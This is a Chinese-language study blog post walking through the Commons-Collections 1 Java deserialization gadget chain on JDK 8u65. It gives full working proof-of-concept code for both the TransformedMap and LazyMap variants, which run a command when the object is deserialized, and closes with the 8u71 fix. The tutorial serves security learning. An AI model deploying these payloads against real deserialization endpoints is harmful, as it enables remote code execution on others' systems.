Java_Commons-Collections 1 学习过程
Nbc Lv3

Java_Commons-Collections 1 学习过程

环境配置

环境配置

配置过程

新建一个项目然后将JDK换成8u65

image

然后再pom里添加依赖

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

然后import 一下cc的包成功就是配置好了

1
import org.apache.commons.collections.functors.InvokerTransformer;

然后我们还要做一件事,修改 sun 包。

因为我们打开源码,很多地方的文件是 .class 文件,是已经编译完了的文件,都是反编译代码,我们很难读懂,所以需要把它转换为 .java 文件。

openJDK 8u65 ———— 去到这个下载链接,点击 zip

image

下载完后解压然后再把8u65里的src.zip解压然后将jdk-af660750b2f4\jdk-af660750b2f4\src\share\classes路径下的sun文件夹放在8u65里的src中

image

然后再把这个src导入到idea中

image

注:可能会遇到乱七八糟的报错,可以查查,我中间遇到一直无法找到类最后把所有路径都不包含中文就好了

Common-Collections 相关介绍

闪烁之狐大佬说的很清楚

Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。

  • 简单来说,Common-Collections 这个项目开发出来是为了给 Java 标准的 Collections API 提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。

包结构介绍

  • org.apache.commons.collections – CommonsCollections自定义的一组公用的接口和工具类
  • org.apache.commons.collections.bag – 实现Bag接口的一组类
  • org.apache.commons.collections.bidimap – 实现BidiMap系列接口的一组类
  • org.apache.commons.collections.buffer – 实现Buffer接口的一组类
  • org.apache.commons.collections.collection –实现java.util.Collection接口的一组类
  • org.apache.commons.collections.comparators– 实现java.util.Comparator接口的一组类
  • org.apache.commons.collections.functors –Commons Collections自定义的一组功能类
  • org.apache.commons.collections.iterators – 实现java.util.Iterator接口的一组类
  • org.apache.commons.collections.keyvalue – 实现集合和键/值映射相关的一组类
  • org.apache.commons.collections.list – 实现java.util.List接口的一组类
  • org.apache.commons.collections.map – 实现Map系列接口的一组类
  • org.apache.commons.collections.set – 实现Set系列接口的一组类

TransformMap版CC1攻击链分析

我的习惯看反序列化就是从尾部开始看然后向前推,这样感觉更有思路一点

CC1链子的源头就是CC库中的Transformer接口里面有个transform方法,通过实现此接口来达到类型转换的目的

crtl+alt+b找到InvokerTransformer类,就是我们最终执行命令的地方

第一部分

image

可以看到这里的transform方法存在反射调用任意的方法并且执行

image

先不考虑参数是否可控,先试试假如可控是否能达到我们的目的,编写一个小demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package org.cc1.com;

import org.apache.commons.collections.FunctorException;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Scanner;

public class Test {


public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Runtime runtime = Runtime.getRuntime();
Class cls = runtime.getClass();
// System.out.println(cls.getName());
Method method = cls.getMethod("exec", String.class);
method.invoke(runtime, "calc.exe");
}
}

发现雀实可以弹出计算器

可以发现通过该类的构造函数就可以控制参数了

image

父类方法就是接受一个输入,所以我们就利用有参构造函数来构造EXP

因为是public所以用不到反射

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package org.cc1.com;

import org.apache.commons.collections.FunctorException;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;

public class Test {


public static void main(String[] args) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
invokerTransformer.transform(runtime);
}
}

写好所需要的参数,然后再触发方法

image

这样链子的尾部就找好了,然后一层一层向上找,找到谁调用了transformer方法,一直找到可以重写的readObject方法接收任意对象作为参数

image

右键查找用法

image

第二部分

这里有两个类对应着两种CC1的打法,先看看TransformedMap

其中 TransformedMap类中存在 checkSetValue()方法调用了 transform()方法。

image

看看这个valueTransformer是怎么个事

image

image

源赖似小TransformedMap的构造函数,但是它是protected类型的我们动不了它

但是向上翻翻发现有个decorate静态方法中给我们返回了TransformedMap对象

到这我们延长我们写的链子试试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.cc1.com;

import org.apache.commons.collections.FunctorException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;

public class Test {


public static void main(String[] args) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
Map map = new HashMap<>();
TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(map, null,invokerTransformer);
Method method = transformedMap.getClass().getDeclaredMethod("checkSetValue", Object.class);
method.setAccessible(true);
method.invoke(transformedMap,runtime);
}
}

手写链子能让链子构造的思路更清晰一点

思路:

通过decorate方法获得TransformedMap的实例,然后再通过反射获取到checkSetValue方法最终调用到了transform方法

其中讲valueTransformer赋值我们构造的InvokerTransformer实例就相当于最终构造出了InvokerTransformer.tansform

image

然后老样子继续查找用法看看谁调用checkSetValue

image

发现只有 AbstractInputCheckedMapDecorator 调用了checkSetValue。而且它是 TransformedMap 的父类

setValue()实际上就是在 Map 中对一组 entry(键值对)进行 setValue()操作。

image

一直往上跟可以跟到这个位置

image

image

所以,我们在进行 .decorate 方法调用,进行 Map 遍历的时候,就会走到 setValue()当中,而 setValue()就会调用 checkSetValue

编写一下poc试试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package org.cc1.com;

import org.apache.commons.collections.FunctorException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;

public class Test {


public static void main(String[] args) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
Map map = new HashMap<>();
map.put("nbc","nbc");
TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(map, null,invokerTransformer);
for (Map.Entry entry:transformedMap.entrySet()){
entry.setValue(runtime);
}
// Method method = transformedMap.getClass().getDeclaredMethod("checkSetValue", Object.class);
// method.setAccessible(true);
// method.invoke(transformedMap,runtime);
}
}

发现这样是错的

image

因为是对Map遍历,而decorate也是Map类型的

image

所以我们的Poc是可以改出来的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package org.cc1.com;

import org.apache.commons.collections.FunctorException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;

public class Test {


public static void main(String[] args) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
Map map = new HashMap<>();
map.put("nbc","nbc");//给map一个键值对,方便遍历
// TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(map, null,invokerTransformer);
Map<Object, Object> decorateTransformed = TransformedMap.decorate(map,null,invokerTransformer);
for (Map.Entry entry:decorateTransformed.entrySet()){
entry.setValue(runtime);
}

}
}

注:Map<Object, Object>是为了与返回的对象类型匹配

打个断点看看是不是跳进来了

image

发现是没错的

思路是

流程就是我们遍历 transformedmap 的时候用的是 entrySet() , 来自于 transformedmap 父类的 entrySet() ,然后就会进入其父类的副类 MapEntry 下的 构造方法,使每个 entry 这里就是 “nbc”->“nbc” 进入 AbstractMapEntryDecorator 的构造方法也就是 MapEntry 的父类,AbstractMapEntryDecorator 又引入了 Map.Entry 接口,所以可以通过遍历调用 setValue 方法,恰巧 MapEntry 重写了这个方法。而这个重写的方法正好调用了 checkSetValue

形成闭环

到此处,我们的攻击思路出来了,找到一个是数组的入口类,遍历这个数组,并执行 setValue方法,即可构造 poc。

就是如何遍历一个Map最终执行 setValue()方法

如果能找到一个 readObject()里面调用了 setValue()那就是很巧又完美

上面都巧这也可以巧

image

第三部分

这可以说是很重要的一部了,好把没有不重要的就是找readObject入口

右键setValue查找用法

image

找到了并且调用了setValue方法

image

image

readObject 的方法是类 AnnotationInvocationHandler的,AnnotationInvocationHandler的作用域为 default,我们需要通过反射的方式来获取这个类及其构造函数,再实例化它。

我们先不管这个setValue怎么长的不是很友善,这两个if是干什么的,我们就假设在处于理想状态然后先写一个理想化的poc然后慢慢改

AnnotationInvocationHandler的构造函数

image

接受一个注解型的,第二个是个 Map 型的,而且这个 memberValues 会被拿去遍历

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package org.cc1.com;

import org.apache.commons.collections.FunctorException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;

public class Test {


public static void main(String[] args) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
Map map = new HashMap<>();
map.put("nbc","nbc");
// TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(map, null,invokerTransformer);
Map<Object, Object> decorateTransformed = TransformedMap.decorate(map,null,invokerTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Override.class, decorateTransformed);
// for (Map.Entry entry:decorateTransformed.entrySet()){
// entry.setValue(runtime);
// }
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

三个问题

当然是没有任何反应的,因为还有三个条件我们忽略了

  • Runtime对象不可序列化,需要通过反射将其变成可以序列化的形式。
  • 解决两个 if 判断
  • setValue()的传参,是需要传 Runtime对象的;而在实际情况当中的 setValue()的传参是这一坨

image

第一个问题

解决Runtime对象不可序列化

运用反射

先写个正常的反射

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package org.cc1.com;

import java.io.File;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class RuntimeTestExp {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class r = Runtime.class;
Method runtimeMethod = r.getMethod("getRuntime");
Runtime runtime = (Runtime) runtimeMethod.invoke(null,null);
Method method = r.getMethod("exec", String.class);
method.invoke(runtime,"calc");
}
}

然后就突然想起来我们最开始的时候InvokerTransformer不是带反射,那么我们就可以构造成InvokerTransformer调用的方式

就是这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package org.cc1.com;

import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.File;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class RuntimeTestExp {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
// Class r = Runtime.class;
// Method runtimeMethod = r.getMethod("getRuntime");
// Runtime runtime = (Runtime) runtimeMethod.invoke(null,null);
// Method method = r.getMethod("exec", String.class);
// method.invoke(runtime,"calc");


Class r = Runtime.class;
Method getruntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(r);
Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getruntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
}
}

可以发现个规律

  • 格式都为 new InvokerTransformer().invoke()
  • 后一个 invoke() 方法里的参数都是前一个的结果

这里正好有个类ChainedTransformer

image

就是传入的Transformer类型的数组然后递归调用,然后前一个的结果正好是后一个的参数

按照这个思路构造一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.cc1.com;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.File;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class RuntimeTestExp {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
// Class r = Runtime.class;
// Method getruntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(r);
// Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getruntimeMethod);
// new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);

Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
}
}

替换掉最开始理想poc的Runtime部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package org.cc1.com;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class TransformMapExp
{
public static void main(String[] args) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
map.put("nbc","nbc");
Map<Object, Object> decorateTransformed = TransformedMap.decorate(map,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Override.class, decorateTransformed);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

第二个问题

绕过两个 if

第一if

image

看看这个memberValue是干什么的

image

获取传参注解方法,我们没过说明传的那个注解是null

image

换一个

image

有成员变量value而第二个if要求map.put的第一个参数相等所以改一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package org.cc1.com;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class TransformMapExp
{
public static void main(String[] args) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
map.put("value","nbc");
Map<Object, Object> decorateTransformed = TransformedMap.decorate(map,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Target.class, decorateTransformed);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

打个断点看看

image

过了但是还是不弹计算器

第三个问题

image

发现 setValue() 处中的参数并不可控,而是指定了 AnnotationTypeMismatchExceptionProxy 类,是无法进行命令执行的。

image

value的值不是我们需要的 Runtime.class

我们需要找到一个类,能够可控 setValue 的参数

找到了一个能够解决 setValue可控参数的类 ———— ConstantTransformer

image

  • 构造方法:传入的任何对象都放在 iConstant中
  • transform()方法:无论传入什么,都返回 iConstant,这就类似于一个常量了。

那么我们可以利用这一点,将 AnnotationTypeMismatchExceptionProxy类作为 transform()方法的参数,也就是这个无关的类,作为参数,我们先传入一个 Runtime.class,然后无论 transform() 方法会调用什么对象,都会返回 Runtime.class

这点说起来很抽象最好是手动跟一下过程

image

image

所以在最后调用.transform的时候,因为ConstantTransformer的构造变成了Runtime.class

image

image

上面还不是Runtime,调用下transform就返回了Runtime了

image

完事!

最终无敌TransformMapExp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package org.cc1.com;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class TransformMapExp
{
public static void main(String[] args) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> map = new HashMap<>();
map.put("value","nbc");
Map<Object, Object> decorateTransformed = TransformedMap.decorate(map,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Target.class, decorateTransformed);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

image

流程图

image

1
2
3
4
5
6
7
8
9
利用链:
InvokerTransformer#transform
TransformedMap#checkSetValue
AbstractInputCheckedMapDecorator#setValue
AnnotationInvocationHandler#readObject
使用到的工具类辅助利用链:
ConstantTransformer
ChainedTransformer
Map

LazyMap版CC1攻击链分析

第一部分

最终执行命令的地方其实是一样的同TransformMap

第二部分

主要还是那个分叉口开始

image

这次看LazyMap

image

看看factory是什么

image

image

熟悉的decorate帮助我们创建一个LazyMap实例并且控制factory

到这里试试这个想法行不行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package org.cc1.com;

import org.apache.commons.collections.FunctorException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;

public class Test {


public static void main(String[] args) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
Map map = new HashMap<>();
Map decorateLazyMap = LazyMap.decorate(map,invokerTransformer);
decorateLazyMap.get(runtime);

}

}

image

看来是没问题的那就继续向上找,看看有没有调用get的时候还有readObject

AnnotationInvocationHandler.invoke()中发现了可以满足我们需求

image

需要触发 invoke方法,一个类被动态代理了之后,再想要通过代理调用这个类的方法就会调用 invoke()方法。

readObject中发现了

image

在这里调用了 entrySet()方法,也就是说,如果我们将 memberValues的值改为代理对象,当调用代理对象的方法,那么就会跳到执行 invoke() 方法,最终完成整条链子的调用。

我们发现AnnotationInvocationHandler中实现了InvocationHandler于是可以使用动态代理的方法

我们如果将AnnotationInvocationHandler对象用Proxy进行动态代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler.invoke方法中,进而触发我们的LazyMap.get方法

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package org.cc1.com;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class LazyMapExp {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

Class Ann = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = Ann.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
//创建第一个来触发LazyMap.get
InvocationHandler invocationHandler1 = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap);
//给它设置动态代理
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler1);
//用来触发invoke
InvocationHandler invocationHandler2 = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);

serialize(invocationHandler2);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

image

流程图

image

1
2
3
4
5
6
7
8
9
10
11
调用链 
InvokeTransformer#transform
LazyMap#get
AnnotationInvocationHandler#readObject


辅助链
ChainedTransformer
ConstantTransformer
HashMap
Map(Proxy)#entrySet

修复手段

官方这里的推荐修复方法是将 jdk 版本提升至 jdk8u71

对于 TransformerMap 版的 CC1 链子

对于 TransformerMap 版的 CC1 链子来说,jdk8u71 及以后的版本没有了能调用 ReadObjectsetValue() 方法的地方。

对于LazyMap版的CC1链子

因为在8u71之后的版本反序列化不再通过defaultReadObject方式,而是通过readFields来获取几个特定的属性,defaultReadObject可以恢复对象本身的类属性,比如this.memberValues就能恢复成我们原本设置的恶意类,但通过readFields方式,this.memberValues 就为null,所以后续执行get()就必然没发触发,这也就是高版本不能使用的原因

参考文章

Drunkbaby

Java安全之反序列化篇-URLDNS&Commons Collections 1-7反序列化链分析

java反序列化从0到cc1

JavaSec 基础之 CC1 链-CSDN博客

由 Hexo 驱动 & 主题 Keep
访客数 访问量